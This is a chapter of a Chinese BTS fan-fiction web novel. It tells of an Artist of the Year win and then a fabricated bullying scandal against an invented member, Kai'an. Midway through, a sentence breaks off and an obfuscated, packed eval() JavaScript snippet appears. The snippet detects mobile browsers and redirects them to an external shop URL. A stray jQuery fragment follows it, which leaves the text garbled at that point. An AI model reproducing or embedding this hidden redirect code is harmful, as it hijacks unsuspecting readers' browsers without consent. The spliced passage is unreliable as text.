123读书网 > 都市小说 > BTS无名的他 > 43.第四十三章年度歌手

43.第四十三章年度歌手

    《Boy Meets Evil》阴郁而充满张力的前奏撕裂了MAMA颁奖礼现场的喧嚣。


    伴随着南俊的开场白,田柾国被威亚吊起,悬浮于半空的身影如同一尊受难的雕塑,瞬间扼住所有人的呼吸。


    未等惊诧沉淀,郑号锡便以一段爆发力惊人的独舞撞入视线,每一个动作都像在与无形的枷锁搏斗。


    紧接着,红布蒙眼的朴智旻在《Lie》的红光中起舞,肢体语言充满献祭般的痛楚与美丽。


    号锡再度登场,红蓝光对比,两人舞步交织、对抗又依存,将舞台气氛推向危险的临界点。


    随后,八人汇聚,《血汗泪》魅惑而沉重的旋律倾泻而下。


    他们不再是懵懂的少年,而是被欲望与挣扎撕扯的性感化身。


    舞步精准如刀锋,切割着光影与视线。歌曲尾声,金泰亨颓然跌坐,猛地扯开上衣,露出后背仿佛被生生撕去翅膀后留下的两道伤痕,他蒙住了硕珍的眼睛。


    灯光暗下,《FIRE》响起。


    从个人对抗“恶魔”的独舞,到集体沉沦于“血汗泪”的魅影,最终在《FIRE》的烈焰中彻底爆发与重生。


    表演结束,他们回到座位,掌心汗湿,心脏仍在为方才的舞蹈狂跳。


    舞台上换了一组又一组表演者,他们跟着鼓掌,笑容得体,但凯安能感到身边紧绷的气息并未散去。


    这是一种悬而未决的状态,介于极致的释放与未知的宣判之间。


    然后,那个时刻最终到来。


    “获奖人是……” 颁奖嘉宾河智苑展开手中的卡片,目光扫过台下,停顿带来令人心悸的真空,“防弹少年团。恭喜你们!”


    世界在那一刻失声,又被下一秒海啸般的声浪狠狠砸回。


    凯安的第一反应不是欢呼,而是伸手,死死抓住了左侧金南俊的手腕。


    南俊的手冰凉,被抓住的瞬间剧烈一颤,随即反握回来,力道大得像要捏碎他的骨头。


    四周的成员们自发地聚拢,手臂环抱住彼此的肩膀,形成一个颤抖而坚固的圆圈。没有言语,只有急促的呼吸和压抑的哽咽在狭小的空间里碰撞。


    走上台的步伐像踩在云端。金泰亨走在最前,背景响起的竟是《血汗泪》的旋律。


    南俊接过那座沉甸甸的“年度歌手”奖杯,站到麦克风前,张了张嘴,却发不出声音。


    台下传来鼓励的呼喊,旁边的闵玧其用力鼓起掌,掌声短促而响亮,试图为他劈开情绪的堵塞。


    “阿米”,他缓了缓忍住眼泪,“谢谢你们,有过很多事情,也有很多人说我们不行。感谢你们一直信任我们。这是我们梦寐以求的事情。一直带领我们的方时赫PD和管理人员们,Big Hit Entertainment,Podogg slow rabbit,还有我们的成德老师、尚贤哥、工作人员。”感谢词逐一念过公司、制作人、工作人员,每个名字都承载着来路的重量。最后,他抬高声音,誓言般宣告:“感谢大家,感谢让我们梦想成真。阿米是我们的整个世界。我们用更美丽的翅膀在2017年飞翔。BTS永远爱着阿米,非常感谢,谢谢(中文)。”


    成员们再次拥抱,奖杯在紧紧相拥的怀抱中传递,触碰着每一双颤抖的手。南俊最后说:“希望我们的歌声和舞台能给更多人带来梦想和希望。谢谢,我们会更加努力,感谢大家。”他的目光扫过台下泪流满面的阿米。


    凯安站在成员们中间,看向身边。


    金硕珍仰头忍着眼泪,郑号锡捂着嘴哭得肩膀抽动,朴智旻和田柾国早已满脸泪痕,金泰亨抱着奖杯把脸埋进去,金南俊还在强忍,但泪水不断滚落。


    就连最习惯于隐藏情绪的闵玧其,也用手掌死死捂着下半张脸,哭得皱皱巴巴,毫无形象。


    只有凯安,眼眶干涩。巨大的喜悦像一团膨胀的光晕笼罩着他,却奇怪地无法转化成眼泪。他感到一种微妙的疏离,仿佛有一部分自己悬浮在半空,冷静地观察着这史诗般的场面。


    他看着玧其哥哭得皱成一团的脸,只感到一种荒诞的、近乎柔和的感觉在胸口漂浮,玧其哥平时最爱装酷,哭起来居然是这样。


    他无奈地合上眼,试图挤出一丝应景的泪水,却还是失败。


    最终,他只是跟着大家一起,深深地弯下腰鞠躬。


    后台沸腾得像炸开的蜂巢。他们真的拿到了,不仅是“最佳舞蹈表演男团”,更是那座象征顶峰的“年度歌手”大赏。出道以来的第一个大赏。


    “像做梦……不,像奇迹。”泰亨抱着奖杯不肯撒手,声音还哑着。


    “不是奇迹。” 号锡靠在墙上,虽然眼眶通红,语气却斩钉截铁,“是我们应得的。一步一步,走到这里。”


    南俊用力点头,接过话:“我一直相信,和你们一起,一定能走到看得见最高风景的地方。”


    他环视着成员们,疲惫的脸上焕发着光,“Big Hit是我们的起点,你们是我的兄弟,是我的底气。就算什么都不知道,只要看到你们,就觉得没什么可怕的。”


    闵玧其被他肉麻的一哆嗦。


    硕珍哥倒是感动的抱住了南俊。


    凯安在旁边笑着,突然好像哪里有微妙的恶意目光打在他们身上。


    他回头看去,视线内一切如常,好像是他的错觉。


    ……


    12月19日,金泰亨需要参加主演的《花郎》首播活动。


    《花郎》将在KBS的黄金时间周一和周二晚上放送。


    出发前他在宿舍客厅来回踱步,反复背诵自我介绍,语气时而迟疑,时而过于急促,这将是他首次作为演员出道。


    凯安没说话,只是拿着手机坐到他身边,点开《花郎》的OST,将音量调至似有若无。


    流淌的旋律渐渐织成一道舒缓的网,罩住了空气里的焦躁。泰亨的脚步声慢下来,最终停在凯安旁边,跟着旋律轻轻哼唱。


    出发前,凯安站起身,伸手替泰亨抚平后颈处微微翘起的衣领,说:“演员金泰亨xi,加油。”


    泰亨紧紧地拥抱了一下他后出门。


    12月20日,闵玧其耳部伤势确诊,他在宿舍绊倒了自己受伤了,医生勒令静养,他不得不缺席后续关键的打歌与年末舞台。


    困在宿舍的焦灼灼烧着他。他在推特上发了一张成员们舞台的模糊版截图,配文只有一句:“想上舞台”。


    这段话简短又搞笑。


    这条推文被公司翻译后同步到了微博。


    凯安看到了。他没有在闹哄哄的群聊里回复,而是直接点开了与闵玧其的KKT私聊窗。


    KKT


    凯安:哥,我看到推特了。


    玧其:(已读)


    凯安:耳朵休息的时候,手指好像更忙了。


    玧其:……凯安xi,是在教训我?


    凯安:在羡慕哥。可以合法偷懒,还有时间写新歌。


    玧其:……吵死了。


    凯安:今天想到哥弹出来的【一段旋律的钢琴即兴变奏.mp3】


    凯安:这段,缺个像样的beat。


    玧其:你行程结束回来找我。


    ……


    大赏的余温尚未散尽,网络角落便开始蠕动熟悉的阴影。


    《血汗泪》“抄袭论”再次被零星提起,如同每逢回归必至的恼人背景音,团队成员乃至阿米们都已学会将其过滤。


    然而,这次不同。


    当抄袭的污水未能如愿扩散,阴影中的手便抛出了淬毒的匕首。


    “BTSKA 校园霸凌”的词条像一条毒蛇,猛地蹿上热搜榜首。


    一个自称“BTSKA霸凌受害者家属”的账号,贴出手写信、济州第一中学的学生证复印件、校跑队合照、模糊了“受害者”名字的医院诊断证明和一张脸部打码的住院照片。


    信中控诉凯安在校跑队期间,凭借教练偏爱,对前辈进行霸凌,勒索前辈金钱、让前辈帮忙刷鞋子都只是小事,更严重的是用作为校园红人的身份引导同学集体冷暴力,长期的精神压迫导致受害者患上严重疾病,生活无法自理,长期住院。


    信中字字泣血般质问,霸凌者如今风光无限,受害者却深陷泥潭,天理何在?并谴责凯安从未道歉,呼吁粉丝看清其“才华盖不住人品烂泥”的本质。


    紧接着,几个自称“同期校跑队成员”的匿名账号纷纷“佐证”,描述凯安如何“目中无人”“仗势欺人”。


    舆论瞬间哗然。


    因为文字写得非常有感情。


    并且看上去铁证如山。


    质疑、辱骂、脱粉回踩的言论如溃堤洪水。


    中途,无数顶着“校友”“知情人”模糊头像的账


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936113|190502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    号,开始添油加醋地“回忆”。


    真伪难辨的细节不断发酵。


    眼见凯安和公司没有第一时间发声,阿米们辩解的声音渐渐变得无力。


    发展到后来,甚至有出道以来就注册的多年阿米在官咖发言,因为自己也是多年校园霸凌受害者,防弹少年团给了她力量使她坚持下来,没有想到凯安竟然会是这样的人……留下了心碎的告别帖。


    世界仿佛在朝夕间颠倒。


    Big Hit会议室,空气凝固成冰。


    初步核查报告摊在桌上,事实冰冷而清晰:所谓“受害者”确实是凯安在校跑队的前辈,曾试图让后辈的凯安替他们跑腿不付钱、处理个人杂物并要求他刷全队鞋子,被凯安拒绝后关系恶化。该前辈自身患有遗传性疾病,突发中风入院,与凯安无直接关系。时间线与所谓“霸凌致残”完全不符。


    大家看着调查报告。


    南俊拿着笔在那边反复勾画有用的信息。他喉咙发干,几次想开口总结,却都咽了回去,最终只是将笔重重放下,发出一声沉闷的轻响。


    硕珍安慰地拍了拍凯安的背,缓慢地一下一下,用掌心持续传递着温热的温度。


    智旻的眼眶早就红了,不是为自己,而是为凯安正在遭受的、这铺天盖地的恶意。


    闵玧其快速扫完报告,将它推到一边,发出一声极短促的、几乎从鼻腔里哼出来的冷笑:“假的真不了。”


    柾国和泰亨像两簇被点燃的火焰。


    柾国年轻的脸气得通红,拳头攥得咯咯响,眼睛瞪得溜圆:“胡说八道!全都是放屁,这些西八狗……” 后面的词被南俊一个眼神压了回去,但胸膛仍在剧烈起伏。


    泰亨的愤怒则混合着巨大的荒谬感和保护欲,他声音都提高了:“这太可笑了!我们现在就上网!把报告发出去!把真相拍在他们脸上!”


    他们像两只被侵犯了领地、竖起浑身尖刺的幼兽,急于用最直接的方式撕咬回去,保护自己的同伴。


    “啪”方时赫PD拍了下手集中大家的注意力。


    他面色凝重:“奖杯我们拿到了,是第一个从三大社手里夺下大赏的小公司团体。现在,我们就是竖在最显眼处的靶子。蛋糕就这么大,那些豺狼们不想分我们一口,现在团结在一起撕咬我们呢。”


    他目光扫过会议室里每一张防弹成员们紧绷的脸,“对方不在乎真相,只想用‘霸凌’这个标签弄脏我们,弄垮凯安。”


    他看向凯安:“你需要联系以前学校的老师、教练、可信的同学,尽可能收集证言。公司这边会立刻对几家带头造谣传谣的媒体提起诉讼。”


    他顿了顿,语气沉缓却不容置疑,“在正式的法律声明和全套证据公布之前,凯安,除已签约、无法推卸的团体行程外,你暂停一切个人公开露面和新工作安排。团队社交媒体保持正常运营,不回避、不激化,但你必须留在宿舍,保持静默。”


    他的视线环顾所有人,一字一句道:“我们要反击,但必须用最坚实的方式。不能让‘霸凌’这个标签,有任何机会和BTS这个名字绑在一起。明白吗?”


    会议室内一片死寂,只能听见空调低沉的运转声,以及几个人压抑的呼吸。


    凯安感到所有目光都沉甸甸地落在自己身上。关切像暖流,担忧像薄雾,而方PD话语中那“沉重的压力”,则是实实在在的、名为“责任”与“代价”的巨石,压上他的肩头。


    他低下头,看着自己干净却似乎突然变得无力的手指。指尖仿佛还残留着十几天前,握住那座冰冷坚硬的“年度歌手”奖杯时,那沉甸甸的、属于荣耀的触感。


    仅仅几天。


    从万众瞩目的云端捧杯,到坠入泥潭,千夫所指。


    荒谬得像一出蹩脚的戏剧。


    他抬起头,迎上方时赫冷静而坚定的视线。喉咙里像是堵了一团浸水的棉花,发紧,干涩。


    他点了点头,极其轻微,却用尽了此刻全身的力气。


    只吐出一个字,声音沙哑,却清晰:


    “好。”


    旁边坐着的号锡哥握住了凯安放在膝上、微微蜷起的手。他的手心温暖,力道不大,带着一种平稳的支持感:“我们都在。”


    众人纷纷点头。


    凯安的手指在他掌心微微动了一下,然后,很轻地回握。


    “嗯。”他垂下眼。